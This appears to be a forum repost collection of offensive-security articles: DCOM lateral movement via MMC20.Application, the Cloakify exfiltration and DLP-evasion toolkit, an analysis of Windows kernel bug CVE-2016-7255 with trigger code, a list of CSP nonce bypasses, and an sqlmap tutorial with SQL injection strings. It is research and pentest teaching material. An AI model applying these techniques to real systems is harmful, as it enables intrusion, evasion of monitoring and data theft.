Nytro

LATERAL MOVEMENT USING THE MMC20.APPLICATION COM OBJECT January 5, 2017 by enigma0x3 For those of you who conduct pentests or red team assessments, you are probably aware that there are only so many ways to pivot, or conduct lateral movement to a Windows system. Some of those techniques include psexec, WMI, at, Scheduled Tasks, and WinRM (if enabled). Since there are only a handful of techniques, more mature defenders are likely able to prepare for and detect attackers using them. Due to this, I set out to find an alternate way of pivoting to a remote system. Recently, I have been digging into COM (Component Object Model) internals. My interest in researching new lateral movement techniques led me to DCOM (Distributed Component Object Model), due to the ability to interact with the objects over the network. Microsoft has some good documentation on DCOM here and on COM here. You can find a solid list of DCOM applications using PowerShell, by running “Get-CimInstance Win32_DCOMApplication”. While enumerating the different DCOM applications, I came across the MMC Application Class (MMC20.Application). This COM object allows you to script components of MMC snap-in operations. While enumerating the different methods and properties within this COM object, I noticed that there is a method named “ExecuteShellCommand” under Document.ActiveView. You can read more on that method here. So far, we have a DCOM application that we can access over the network and can execute commands. The final piece is to leverage this DCOM application and the ExecuteShellCommand method to obtain code execution on a remote host. Fortunately, as an admin, you can remotely interact with DCOM with PowerShell by using “[activator]::CreateInstance([type]::GetTypeFromProgID”. All you need to do is provide it a DCOM ProgID and an IP address. It will then provide you back an instance of that COM object remotely: It is then possible to invoke the “ExecuteShellCommand” method to start a process on the remote host: As you can see, calc.exe is running under Matt while the user “Jason” is logged in: By using this DCOM application and the associated method, it is possible to pivot to a remote host without using psexec, WMI, or other well-known techniques. To further demonstrate this, we can use this technique to execute an agent, such as Cobalt Strike’s Beacon, on a remote host. Since this is a lateral movement technique, it requires administrative privileges on the remote host: As you can see, the user “Matt” has local admin rights on “192.168.99.132”. You can then use the ExecuteShellCommand method of MMC20.Application to execute staging code on the remote host. For this example, a simple encoded PowerShell download cradle is specified. Be sure to pay attention to the requirements of “ExecuteShellCommand” as the program and its parameters are separated: The result of executing this through an agent results in obtaining access to the remote target: To detect/mitigate this, defenders can disable DCOM, block RPC traffic between workstations, and look for a child process spawning off of “mmc.exe”. Cheers! Matt N. Sursa: https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/

CloakifyFactory CloakifyFactory & the Cloakify Toolset - Data Exfiltration & Infiltration In Plain Sight; Evade DLP/MLS Devices; Social Engineering of Analysts; Defeat Data Whitelisting Controls; Evade AV Detection. Text-based steganography usings lists. Convert any file type (e.g. executables, Office, Zip, images) into a list of everyday strings. Very simple tools, powerful concept, limited only by your imagination. Author Joe Gervais (TryCatchHCF) Why DLP systems, MLS devices, and SecOps analysts know what data to look for:So transform that data into something they're not looking for: Tutorial See my DEF CON 24 slides (included in project) from Crypto & Privacy Village workshop and DemoLabs session. Complete tutorial on what the Cloakify Toolset can do, specific use cases, and more. (The examples in the presentation use the standalone scripts, I recommend using the new CloakifyFactory to streamline your efforts.) For a quick start on CloakifyFactory, see the cleverly titled file "README_GETTING_STARTED.txt" in the project for a walkthrough. Overview CloakifyFactory transforms any filetype (e.g. .zip, .exe, .xls, etc.) into a list of harmless-looking strings. This lets you hide the file in plain sight, and transfer the file without triggering alerts. The fancy term for this is "text-based steganography", hiding data by making it look like other data. For example, you can transform a .zip file into a list of Pokemon creatures or Top 100 Websites. You then transfer the cloaked file however you choose, and then decloak the exfiltrated file back into its original form. With your payload cloaked, you can transfer data across a secure network’s perimeter without triggering alerts. You can also defeat data whitelisting controls - is there a security device that only allows IP addresses to leave or enter a network? Turn your payload into IP addresses, problem solved. Additionaly, you can derail the security analyst’s review via social engineering attacks against their workflows. And as a final bonus, cloaked files defeat signature-based malware detection tools. The pre-packaged ciphers are designed to appear like harmless / ignorable lists, though some (like MD5 password hashes) are specifically meant as distracting bait. CloakifyFactory is also a great way to introduce people to crypto and steganography concepts. It's simple to use, guides the user through the process, and according to our kids is also fun! Sursa: https://github.com/trycatchhcf/cloakify

Digging Into a Windows Kernel Privilege Escalation Vulnerability: CVE-2016-7255 By Stanley Zhu on Dec 29, 2016 The Windows kernel privilege escalation vulnerability CVE-2016-7255 has received a lot of media attention. On November’s Patch Tuesday, Microsoft released a fix for this vulnerability as part of bulletin MS16-135. CVE-2016-7255 was used to perform a targeted attack and a sample was found in the wild, according to Microsoft. Google and Microsoft have already confirmed the Russian hacker group APT28 used a Flash vulnerability (CVE-2016-7855) along with this kernel privilege escalation flaw to perform a targeted attack. Google has also discussed this vulnerability. https://security.googleblog.com/2016/10/disclosing-vulnerabilities-to-protect.html https://threatpost.com/microsoft-says-russian-apt-group-behind-zero-day-attacks/121722/ http://securityaffairs.co/wordpress/53242/hacking/cve-2016-7255-zero-day.html The vulnerability research team at McAfee Labs has spent a significant amount of time analyzing this vulnerability. In this post we will briefly discuss some of our findings. We started our analysis with the patch of MS16-135, and very soon we noticed that MS16-135 updated win32k.sys on the target system. Our investigation continued with the comparison (via binary diffing) of the two win32k.sys files (before and after installing the patch). Our test system ran Windows 7 Version 6.1.7601.23584. Looking at the binary diffing results, we noticed the following functions were modified. Figure 1: The changed function xxxNextWindow in win32k.sys. After some preliminary investigation we concluded the patch for CVE-2016-7255 was applied solely in the function xxxNextWindow in win32k.sys. The following screenshot shows a very high-level overview of the changes made to xxxNextWindow(x,x): Figure 2: High-level diffing results in the function xxxNextWindow. We can see some new logic has been added (highlighted in red) to the middle of the patched function. Zooming into the first newly inserted basic block, we can see that the newly introduced code compares the value of eax+0x23. Figure 3: The first inserted basic block in xxxNextWindow. We see similar logic in next newly inserted basic block. Figure 4: The second inserted basic block in xxxNextWindow. Google has stated the vulnerability “can be triggered via the win32k.sys system call NtSetWindowLongPtr() for the index GWLP_ID on a window handle with GWL_STYLE set to WS_CHILD.” In fact, NtSetWindowLongPtr only helps trigger this vulnerability, while the root cause lies in xxxNextWindow. More specifically, the inappropriate parameters set by NtSetWindowLongPtr can trigger an “arbitrary address write” scenario in xxxNextWindow. Now let’s take a look at the decompiled version of the unpatched xxxNextWindow(x,x…). Figure 5: The decompiled version of the unpatched xxxNextWindow. After the patch is applied, xxxNextWindow (x,x…) looks like this： Figure 6: The decompiled version of the patched xxxNextWindow. The code after the patch has enhanced the parameter verification with the conditional branch statement “(*(_BYTE *)(v8 + 0x23) & 0xC0) != 0x40.” In this new statement, variable v8 (in eax) is the return value of a previous GetNextQueueWindow call. (See following figure.) Figure 7: Variable v8 comes from a call to GetNextQueueWindow: “v8 = _GetNextQueueWindow(v7, v31, 1);” A quick look at the implementation of _GetNextQueueWindow(x,x,x,…) reveals that the function actually returns a pointer to the tagWND structure. The following screen shows the tagWND structure in windbg: Figure 8: The structure of tagWND. Analyzing this code, we know the field at offset 0x78 in the tagWND structure is relevant to the vulnerability. The following lines of decompiled code from the unpatched function illustrate that the field at offset 0x78 is relevant to the vulnerability: Figure 9: Problematic code in the unpatched xxxNextWindow. Now the problem becomes simple: If we can control the value at v8+0x78, we will be able to write to an arbitrary address in kernel land, and this could potentially allow the elevation of privilege. Luckily, a user-mode API (NtSetWindowLongPtr) is available to set an arbitrary value in that position. The following screen shot shows that the value (0x41414141) we passed to NtSetWindowLongPtr is reflected in the tagWND structure, making it easy to gain an arbitrary memory write through this vulnerability. Figure 10: An arbitrary value is set in the tagWnd structure. To to trigger the vulnerability, the WS_CHILD attribute of the newly created window must be assigned, and the GWLP_ID attribute must be set with the help of the API NtSetWindowLongPtr(). Moreover, the last hurdle is to trigger xxxNextWindow. After some research, we found we can trigger it by pressing a combination of Alt+Tab keys or simulating the key press with the keybd_event API. Now that we understand the root cause of this vulnerability from the high level, let’s try reproducing the vulnerability. We will create a simple window and populate some values in its tagWND structure. HWND hwnd = CreateWindowEx(0, L”TestWnd”, 0, WS_OVERLAPPEDWINDOW | WS_VISIBLE | WS_CHILD, 5, 5, 1, 1, hWndParent, 0/*hMenu */, h, 0); SetWindowLongPtr(hwnd, GWLP_ID,/*0xfffffff4=GWLP_ID*/ 0x41414141); Figure 11: Debugging the vulnerable function xxxNextWindow. The preceding screenshot shows the live debugging output. Here the ebx register is holding the pointer to the tagWND structure, and a write violation will occur very soon. As you can see in the following figure, the destination of the offending instruction is just the address (adding 0x14) that we previously passed in via the NtSetWindowLongPtr API, and this perfectly illustrates an arbitrary address write attack. Figure 12: Scenario for an arbitrary address write attack. Let’s return to Microsoft’s patch, which starts by checking the value at offset 0x23 of the tagWND structure. In the patched code, we can see the newly introduced statement (*(_BYTE *)(v8 + 0x23) & 0xC0) != 0x40 When it comes to the patched version of the function, ebx points to the tagWND of the structure ebx + 0x23 = 0x54; 0x54 & 0xc0 = 0x40 ;(1) , 0x40 != 0x40 (2) ; Now this statement becomes false. Therefore, the program skips the following code lines that attempt to modify memory, and avoids the program crash (the write access violation). *(_DWORD *)(*(_DWORD *)(v30 + 0x78) + 0x14) &= 0xFFFFFFFB; *(_DWORD *)(*(_DWORD *)(v8 + 0x78) + 0x14) |= 4u; How can this vulnerability be exploited to achieve a privilege escalation? Instead of allowing the writing of an arbitrary value to an arbitrary address, this vulnerability can change only one bit; that is, the value on the address will be logically OR-ed with 0x04 (or its multiples) as shown below: Value = Value | 0x04; Value = Value | 0x0400; Value = Value | 0x040000 Value = Value | 0x04000000 In this case, if the attacker can find a certain array of objects in kernel land and enlarge the index of the objects array (such as tagWnd->cbWndExtra) with this logical OR primitive to cause an out-of-bound access, the attacker will be able to gain arbitrary address read/write ability from user mode (by using some user mode APIs). We currently know some exploitation skills of this kind, such as GetBitmapbits/SetBitmapbits (first discovered by KeenTeam) or SetWindowText/GetWindowText. Today, privilege escalation using a kernel mode vulnerability is still the primary vector to break application sandboxes (Internet Explorer’s EPM or Edge’s AppContainer). This path has been well demonstrated by most successful in-the-wild exploits targeting Internet Explorer/Edge/Adobe Reader and Flash that we have seen. Against current versions of Windows, with multilayer defenses, escaping the sandbox with a kernel escalation of privilege is still the attacker’s first choice. KeUsermodeCallback used to be a very popular type of Windows kernel mode vulnerability that can lead to kernel mode code execution, as we saw in CVE-2014-4113 and CVE-2015-0057. Microsoft’s work on addressing kernel vulnerabilities and adding more mitigation security features has led to a decline in this type of attack. In response, attackers have begun to look into kernel font and GDI vulnerabilities. Windows 10 has already restricted win32k calls in Edge, which significantly reduces the attack surface. And Microsoft has also fixed the kernel memory information disclosure issue that leverages the GDI-shared handle table. No doubt, kernel exploitation will become more and more difficult. However, we foresee that attackers will still use win32k as the main attack surface to exploit the kernel to achieve code execution or elevation of privilege. The battle will continue around this hot spot for both attackers and defenders. I thank my colleagues Bing Sun and Debasish Mandal for their help with this post. Sursa: https://securingtomorrow.mcafee.com/mcafee-labs/digging-windows-kernel-privilege-escalation-vulnerability-cve-2016-7255/

Collection of CSP bypasses On this page, I'd like to collect a set of CSP bypasses related to nonces. CSP policies using nonces are considered very strong in terms of security. However, there are many (sometimes unusual) situations in which nonces can be bypassed. It is still unclear to me, if these bypasses have a practical impact on CSP's protective capabilities. Nevertheless, I'd like to explore these situations to better understand the boundaries of CSP. Furthermore, I'd like to encourage other researchers to have a closer look at CSP nonces. Bypassing script nonces via the browser cache (DOM-based XSS) Bypassing script nonces via the BFCache (by @arturjanc) Bypassing script nonces via partial markup injections Bypassing script nonces via event handlers and changeable sources Bypassing script nonces via DOM XSS (by @sirdarckcat) Bypassing script nonces via CSS I (by @sirdarckcat) Bypassing script nonces via CSS II (by @sirdarckcat) Bypassing script nonces via SVG set tags (by @sirdarckcat) Bypassing script nonces via SVG animate tags (by @0x6D6172696F) Bypassing script nonces via XSLT (by @sirdarckcat) Bypassing script nonces via base tags (by @jackmasa) Bypassing script nonces via CLOSURE_BASE_PATH (by @sirdarckcat) Bypassing script nonces by predicting random numbers Bypassing script nonces by injecting into a URL of a nonced script Bypassing script nonces by injecting into a nonced script Sursa: http://sebastian-lekies.de/csp/bypasses.php

THURSDAY, JANUARY 5, 2017 Exploiting difficult SQL injection vulnerabilities using sqlmap: Part 1 Introduction A number of times when discovering "tricky" SQL Injection vulnerabilities during penetration tests, I have taken the approach of exploiting them by writing custom tools. This usually after spending 5 minutes blindly poking at the vulnerability with sqlmap, and then stopping when it didn't immediately magic the answer for me. OK, there have been a number of times where sqlmap has NOT been a suitable tool to use for various reasons, such as very particular filtering or data retrieval requirements, but there has also been a number of cases where I probably gave up on it too fast because I didn't properly understand how it worked or the extent of its capabilities. And this resulted in me taking much longer than necessary to exploit the vulnerability. While writing custom tools can certainly be "fun" (for some definitions of "fun"), and while it provides some good coding practice and is an excellent way to ensure that you understand the injection flaw and its exploitation extremely well, its also very time consuming. Writing your own injection tool often involves redoing a lot of work that has already been done by others - the digital equivalent of reinventing the wheel. You need to put together a capable HTTP sending/receiving framework, you need to parse HTML responses, you need to discover the (database specific) SQL commands that will allow you to retrieve data within the limitations imposed by the vulnerability, you need to be able to extract, group, infer, convert and/or join the retrieved data and you need to mentally map out the logic needed to tie all these parts together and turn it into working code with a usable interface. Its a deceptively large amount of effort, especially when blind injection is involved, and I would consistently underestimate how long it would take to perform. Given that sqlmap already has all this functionality, being in particular a very effective tool for retrieving data via all types of SQL injection vulnerabilities, I recently decided that it might be a good idea to spend some of my time to gain an improved understanding of the tool, so that in future I would be able to make more frequent use of it. For my vulnerability test bed, I used some of the SQL injection labs from the Pentester Labs website, namely the Web for Pentester and Web for Pentester II exercises, because those particular exercises are freely downloadble, easy to self host and provide some great examples of SQLi vulnerabilities that require use of some of sqlmap's custom options for exploitation. This will be the first in a series of posts where I share some of what I learned during this process. This first post will mainly seek to introduce and explain the relevant sqlmap options that I used and outline a process that can be used to get sqlmap to identify an SQL injection flaw that you have discovered through other testing activities. Future entries will provide examples of actually using this to exploit SQL injection vulnerabilities that sqlmap cannot easily detect on its own. Note: While I will use their content as examples, the intent here is NOT to explain how to discover or do manual exploitation of the SQLi vulnerabilities in the PentesterLab exercises - because that has already been written up in the PentesterLab courseware available at their web site. If you don't already know how to do manual discovery of SQLi vulnerabilities, you can check out their site, or any of the many other SQLi references on the Internet to learn this (for the record though, I think the PentesterLab stuff is a fantastic introduction to web application pentesting, and I wish I had access to it when I first started doing webapp testing). Useful sqlmap options Before I jump into working through specific examples, I wanted to describe the purpose of some sqlmap options. More advanced use of sqlmap, in terms of actually tweaking its operation in order to make a difficult injection operate, will require that you actually understand how these options work. In essence, this is the README I wish I had received when I moved beyond the bare basics in my use of the tool, as I definitely would have used sqlmap much more extensively had I understood these particular options as well as I do now. Hopefully you can now benefit from my having learned this the "hard" way, e.g. via trial and error. Prefix and suffix The prefix (--prefix) and suffix (--suffix) options configure the strings that should be included with each SQL injection payload in order to begin, and then terminate, the Injection. So what does this mean exactly? Take this simple example of an injectible query: $query = "SELECT first_name, last_name FROM users WHERE name = '" . $_GET["username"] . "'"; Whats an example of an injection string that would work here? Something like the following would work as a simple POC of a union injection. ' UNION SELECT NULL,NULL -- a This closes the single quoted string before our injection point with a single quote ('), seperates the next statement with a space ( ), adds our injection query of a UNION SELECT with a column count matching that of the existing SELECT query, and then comments out the remainder of the original query to ensure syntactical correctness. The prefix in this case is the single quote and space (' ) used before the UNION SELECT, and the suffix is the characters (a space, two dashes, another space and the letter "a") used to comment out the remainder of the original query ( -- a). The following options can be used to configure sqlmap to use this prefix and suffix: --prefix="' " --suffix=' -- a' Now, these particular examples of prefixes and suffixes (or ones that are functionality identical) are ones that sqlmap will be able to figure out itself, so you will rarely need to specify values like this. However, this hopefully does help you in understanding what these options do, because they are quite important ones to grasp if you want to use sqlmap for more difficult injections. In fact, I put these options first in the list of ones I wanted to describe because as I was working through this process of learning how to make sqlmap identify certain injection vulnerabilities, these were the ones that I used the most. Also, finally learning what these did was an "AHA!" moment for me, as I have been aware of the options existence for an embarassingly long time without understanding what they did. Note: Why use NULL values in the UNION SELECT? NULL is a great value to use in UNIONS when trying to determine the correct number of columns in an injection, as it can sit in place of a number of different field types, such as numbers, strings and dates. Note2: Why the extra space and the "a" character after the comment? Sometimes, inserted comments at the end of an injection are not properly recognised by the database unless there is a whitespace character to follow. Since whitespace characters on their own are sometimes not easily identifiable when displayed on screen (depending on what other text follows) its helpful to include other text afterwards so you can easily see there is something following the comment. You will see sqlmap do this when you look at some of the injection strings it uses. Specifying Injection technique and tests There are a number of different SQL injection techniques available for use in sqlmap, which are configured via the --technique option, and sqlmap comes with a number of different in built tests for exploiting vulnerabilities using those techniques. By default, sqlmap will enable all possible techniques when trying to identify an injection vulnerability, and will run all associated tests that meet the configured risk and level settings (discussed later). If you have manually discovered a SQL injection flaw in a website and want to use sqlmap to exploit the vulnerability, you may already know the correct technique, as well as the most appropriate payload configuration to use, and this is where specifying these options manually can be useful. Manual specification of these settings helps prevents less effective techniques from being chosen by sqlmap, and cuts down on the amount of traffic sent by sqlmap during its detection period. A brief listing of the injection techniques available for use by sqlmap is listed below in order of preference. You can select the appropriate ones by using the --technique switch followed by a listing of the letters associated with the method/s you wish to use. The default is all options, (e.g. "--technique=BEUSTQ"). The descriptions provided below are only intended as high level reminders of each technique Stacked queries (S) - This involves stacking whole new SQL queries onto the end of the existing injectable query. Its the preferred method to use if available, because there are a number of exploitation actions that wont be available to you using any other method, however the use of this method does require support from the database and API. You may not necessarily be able to see the results of your stacked query in the page response, so when actually retrieving data (as opposed to performing other operations such as INSERTS) you may want to use another technique such as Unions. Union query based (U) - This involves retrieving data by joining a second select statement to the original, via the UNION SELECT statement. You need to be able to see the results from the original SELECT query (and hence your UNION) in the page response for this method to be usable. Error based (E) - This technique retrieves data by manipulating database error messages to directly display that data. To use this method, you need to be able to see database error messages in page responses. Inline queries (I) - This technique uses inline database queries to retrieve data - essentially a query embedded within another query like this "SELECT (SELECT password from user) from product". I have not personally had the occasion to use this option in sqlmap, and while inline queries can be used more widely than this in manual injection scenarios, it appears that you need to be able to see the inline queries result in the page response for this to be usable through sqlmap. Boolean blind (B) - This retrieves data from the database by asking a series of True/False style questions in your injections, and determining the result (True or False) based on identifiable changes in the response. To use this option, you need to be able to be able to trigger some sort of identifiable state change in HTTP response content from logically different, but syntactically correct database queries (e.g. a different page response only resulting from an invalid database query doesn't count here). This technique will require more requests and time to perform than those previously listed, as the data must be retrieved indirectly via boolean inference. Time based blind (T) - This technique is similar to boolean blind, in that it retrieves data via posing a number of True/False style questions to the database, however instead of determining the answers to these questions via the content of a response, it is done using the amount of time a response takes. This is done through associating deliberate delays with particular answers via database statements that consume a noticeable amount of time, like sleep. This is the most time consuming method of data retrieval, and is sensitive to errors introduced by network load. Without careful custom configuration, you may find sqlmap selecting this technique for trickier injection vulnerabilities that can be exploited by more efficient means. Selecting a particular technique, or set of techniques will limit the payloads that sqlmap will use to those associated with that/those technique/s. It is also possible to further filter the attempted payloads via the --test-filter and --test-skip options to target payloads that contain (or do not contain) particular text within their name. If, for example, you know your target SQLi vulnerability exists within the 'ORDER BY' clause of a query, why not filter for only these test payloads by using: --test-filter='ORDER BY' In addition, if you write your own custom test payload for an injection, you can use only that particular payload by setting a filter for a unique string you have added to the name. Note: To have the best chance of being able to configure sqlmap to detect and exploit a given difficult vulnerability, its important that you properly understand the type of injection you wish to use and the requirements for its exploitation. This is because for injection vulnerabilities that sqlmap cannot find on its own you have to be able to create an effective POC exploit manually to use as a basis for correctly setting sqlmap's configuration . Hopefully this brief summary of the available injection types is appropriately clear and detailed in order to provide a sufficient refresher, but if you are unclear on these techniques you may wish to do further research on any techniques you are unfamiliar with before continuing. Risks and levels The risks and levels settings in sqlmap will control which test payloads will be attempted during the detection run to identify an SQLi vulnerability. Each test payload has a configured level and risk setting, and if the configured threshold is not met for that payload during a particular run of the tool, that particular payload will not be used. Risk in sqlmap refers to the risk of a failure, potential database damage or error in data retrieval associted with using an associated payload. Available risk settings range from 1 to 3, with 1 (the lowest level) being the default. Level refers to the number of requests required to use that associated payload for exploitation. Available level settings range from 1 to 5, with 1 again the default. A common recommendation given in various usage guides is to increase the risk and level settings if sqlmap does not identify a vulnerability in its default configuration, however in my experience for trickier injection vulnerabilities this change alone is often not sufficient. Detection options Using the boolean blind injection technique will often require that you tell sqlmap what to look for in the HTTP response content in order to distinguish a True condition from a False. There are a number of options in sqlmap that allow you to configure this behavior, such as --string and --not-string (configuring strings that should appear in True and False responses respectively), --regexp (allowing you to set a regular expression to match to determine the True condition), --code (provide a HTTP status code to match True), --text-only (compare responses based on text content) and --titles (compare responses based on page title). A neat thing you can do with the --string and --not-string settings is to use Python hexadecimal backslash quoting to do multi line matching. Here is an example showing how to match a section of HTML that includes newlines (\x0a) and tabs (\x09). --string='Name\x0a\x09\x09Stephen' When your detection needs are more complex than what can be satisfied by the above options, there is also another sqlmap feature that with a little bit of imagination you can abuse in order to perform more complex comparative logic, which leads us to... Second order injection sqlmap contains a --second-order option, which is intended to be used to enable exploitation of second order SQL injection vulnerabilities, where the results of an SQL injection need to be retrieved from a different URL than that is used to actually perform the injection. The option allows you to provide a single URL which will be requested by sqlmap after each injection payload is sent, and then parsed as per normal configured sqlmap behavior. By setting the --second-order option to point to your own locally run custom forwarding and parsing server, you can make use of this option to return arbitrary content to sqlmap, perhaps based on data you have automatically retrieved from the target site. This capability can be used to do things such as retrieve data from a dynamically changing second order URL at the target site, or to retrieve content from the remote site and perform complex parsing or logic checks on it, passing through to sqlmap something that it can process using its inbuilt functionality. This link contains a modifiable second-order forwarding server that I wrote in Python to work with sqlmap, which can be run locally from the command line. It starts its own http server locally on the loopback address, and when it receives a request from sqlmap it can request data from another website, then return the (optionally) parsed data back to sqlmap. It is based on Python classes that I wrote specifically to facilitate reuse and modification, so if you can code simple Python you can change it to do any parsing or fetching job you wish. Tamper scripts Tamper scripts in sqlmap allow you to make programmatic changes to all the request payloads sent by sqlmap, in order to facilitate the bypass of web application firewalls and other filters. If you are dealing with filters that prohibit, for example, all whitespace within an injection string, there is a tamper script configured that can help (--tamper=space2comment). A reasonably up to date listing of available tamper scripts and their purpose is available here. Custom written test payloads sqlmap comes configured with a large number of test payloads that it can use to perform injections. These are defined within xml files named after the associated injection technique stored in xml/payloads under the sqlmap root path. You can add your own payloads into these files by copying the xml nodes of an existing test (one thats simlar to the one you want to create) and modifying it as required. There is an example of doing this here, and a specific example of how to use custom test payloads to exploit a boolean blind issue inside the ORDER BY clause will be provided in a future post. Verbosity and debugging injection checks One extremely useful option for troubleshooting sqlmap's detection process is the output verbosity option. The specific setting I use most frequently when getting an injection working is -v3, which will show each raw payload that is sent by sqlmap. This allows you to compare the payloads sent by sqlmap to your own POC SQL injection string developed during discovery of the vulnerability, to determine where sqlmap is incorrectly diverging. If you need to use tamper scripts as well to bypass a filter, you can try verbosity level -v4 to also see the HTTP requests sent, as -v3 verbosity will not show the affect of tamper scripts. Note: You can also configure sqlmap to work through an intercepting proxy for debugging purposes. However, while I generally always have Burp Suite running when Im testing any web application, I usually prefer to avoid filling up my proxy history and slowing down the operation of sqlmap by doing this. Sometimes, if I really want to have a close look at requests and responses, I will run up a separate proxy instance using something like ZA Proxy. Auto answering Under certain circumstances, sqlmap will ask you the same set of one or more repeated questions every time you run the tool. Some of these questions are without their own associated command line options, and therefore without an obvious way to inform sqlmap of the desired behavior so you don't have to repeatedly answer the same question the same way every time sqlmap prompts you. The --answers option allows you to provide a standard response to these questions - to use it, pick a unique term from the question itself, and provide this along with the desired response. For example, to preemptively answer Yes to allow sqlmap to attempt to "optimize" timing settings during blind timing based injections, use the following. --answers='optimize=Y' Session flushing sqlmap keeps session information about each url, including which techniques and payloads have been confirmed to work and what data has been retrieved from the site. If a non optimal payload type has been associated with a particular url within the relevant session, you may want to clear that session information in order to try and get a new payload to work. You can flush all data associated with a URL, and force the detection process to run again, using the following option. --flush-session Other options Some other options I commonly use are the parameter option which specifies which parameter is used to perform the injection (e.g. -p 'vulnerable_parameter') and the options to specify the database (e.g. --dbms='mysql') and the Operating System (--os='linux') in use on the remote server. These all help sqlmap to avoid making extraneous requests beyond what you already know will be effective based on your knowledge of the target web application. Sometimes of course the injection point is not within a parameter, in which case sqlmap has other options which can be used to target its operation, such as the asterisk character which can be used to set manual injection point within a request. Tweaking sqlmap options to detect tricky injections Before you can use sqlmap to effectively exploit an injection issue, you must get it to detect the vulnerability, which associates one or more injection techniques and payloads with the URL associated with the issue. Once this has occurred, the detection process does not need to run again, and sqlmaps options for exploitation and data retrieval can be immediately used on subsequent executions of the tool. The following is the process I use for taking a manually discovered SQL injection vulnerability and configuring sqlmap to exploit it. Develop the manual exploit to the point where a POC for the best applicable exploitation technique exists. For a UNION SELECT vulnerability, this means you want to discover the number of columns in the UNION, and perhaps also the datatypes of each column (numeric, text, date, etc). For a boolean blind, you will want to be able to trigger different pages responses for True and False conditions, and determine how you could differentiate the True response from the False. For a time based blind, you want to get a response to delay for a given period of seconds based on the success or failure of some comparison you make, etc. This step will also include working out whether any specific characters are restricted by some sort of filter or other application issue, and hence are unusable in performing the injection. Run sqlmap, configuring the backend database type (--dbms), Operating System (--os), and technique (--technique) options to specifically target the manually discovered issue. Set the parameter (-p) option as well if the injection is in a URL or POST data parameter, or use other options such as the injection point asterisk (*) as appropriate to tell sqlmap exactly where the injection is located. This helps focus the detection process, minimising requests sent and time taken by ignoring non-vulnerable parameters and payloads that target other databases or are associated with unwanted injection techniques. You may also need to provide proxy details, cookies or other authentication options, CSRF management options, safe URL settings to avoid lockouts, etc as appropriate, to ensure that sqlmap can correctly send and receive HTTP requests and responses. If you have already created a manual injection POC in a separate tool you should already know all the correct settings to use for this purpose. Leave all other options at the default. I do all my manual testing using Burp Suite Professional, so I use the CO2 plugin and its SQLMapper component to quickly set the relevant command line options. From this point on in the process, as soon as you get sqlmap to detect the vulnerability, you can skip the remaining steps (hopefully thats obvious). Run the detection again, however this time use the -v3 verbose option on so you can see the payloads being sent. Scroll through the output, looking for an injection string thats similar in layout to the POC developed earlier, which will cause the response you require. At this point you may see the names of likely looking payloads that are not being sent here because the --level or --risk settings are too low. If so, raise these values and try again and see if you can find an appropriate payload that comes as close as possible to what you need. If at this point you still do not see a payload that looks like it will be able to provide the output needed to make the injection succeed, you will need to write your own. Pick an example from the xml file named after the appropriate injection technique thats as close as possible to what you need, and modify as required. The earlier section on custom test payloads contains references that help describe this process, and a future post in this series will also have a specific example. Once sqlmap is sending a payload that is logically similar to your POC, the goal is to now tweak the relevant sqlmap options to get the request syntactically correct for the injection. At this point you will want to set the --test-filter option in order to send only your chosen payload, and try and determine what needs to change with the payload to make it work. By "work" I mean that you must be creating injected queries that are syntactically correct and the results must not involve database errors, displayed to you or otherwise, UNLESS you are doing error based injection and that error is displayed to you and contains your chosen content. This troubleshooting may involve taking the payload from the sqlmap verbose output and pasting it into your manual testing tool (i.e. Burp Suite Professional's Repeater) to see if it returns a syntactically correct result. Sometimes however, you can just eyeball it and tell where there are some obvious issues. The next step provides guidance on how to fix syntax issues. If the payload being sent is resulting in a SQL query that is NOT syntactically correct, there are 3 primary reasons for this. Work out which issue (or combination of issues) is causing the problem, and work to resolve these as discussed below before moving on to the next step. The first possible reason is that the prefix and suffix have been set incorrectly (either manually by you or automatically by sqlmap). You know this is the case if the text used at the start of the payload to break into the injection, or the text at the end used to terminate it, are syntactically different from your POC. Correctly set the suffix and prefix options to fix this - the right values should be easy to identify as they will be included in your manual POC. Be aware here that certain test payloads are configured to place random values at the start of the payload output. If you set the --prefix option and don't see the configured string at the very start of the payload output you are using in sqlmap's verbose output, you know that the payload configuration itself is the cause (specifically, the where option in the payload configuration), which is the second possible reason. Second, the definition of the test payload itself is causing an error for some reason. I have seen the sqlmap default payloads break in some cases, but the most likely way for this to occur is when you have written the payload yourself. If the text or logic or the placement of the random values used by sqlmap in the meat of the payload is causing the issue, the problem might be with the definition of the test payload (or you might be focusing on using the wrong payload and another one you have overlooked is more appropriate). Modify the payload, try a different one, or create a your own custom new one to fix this. Third, there is some sort of filter implemented in the space between when you send the request and when the resultant query reaches the database that is causing an otherwise syntactically correct payload to be rejected. This is where tamper scripts can be used to (hopefully) filter out or replace the offending characters. Don't forget to bump your verbosity setting to -v4 in order to see HTTP requests in the output if you need to troubleshoot these. You can either use one of the existing tamper scripts (if a suitable one exists) or write your own. If the filtering is particularly prohibitive, you may need to consider writing a payload that makes use of inventive SQL to avoid your given bad patterns. Once your queries are syntactically correct, the next step is ensuring that sqlmap can correctly interpret the results it is receiving (and, in the case of second order injections, that it is receiving the correct results at all!). Setting aside second-order injections for the moment (we will cover this in more detail in a future example), sqlmap is generally pretty good at this for all of its techniques other than boolean blind injection. For these, you will often need to tell it how to distinguish True from False responses. This is where the detection options such as --string, --not-string and --regex discussed earlier come into play - use these to help sqlmap identify the appropriate responses. Once you have completed these steps sqlmap should have correctly detected your vulnerability and be ready to exploit it. This completes this entry in the series, stay tuned for the next post, where I will show some examples. POSTED BY STEPHEN BRADSHAW AT 6:25 PM Sursa: http://www.thegreycorner.com/2017/01/exploiting-difficult-sql-injection.html

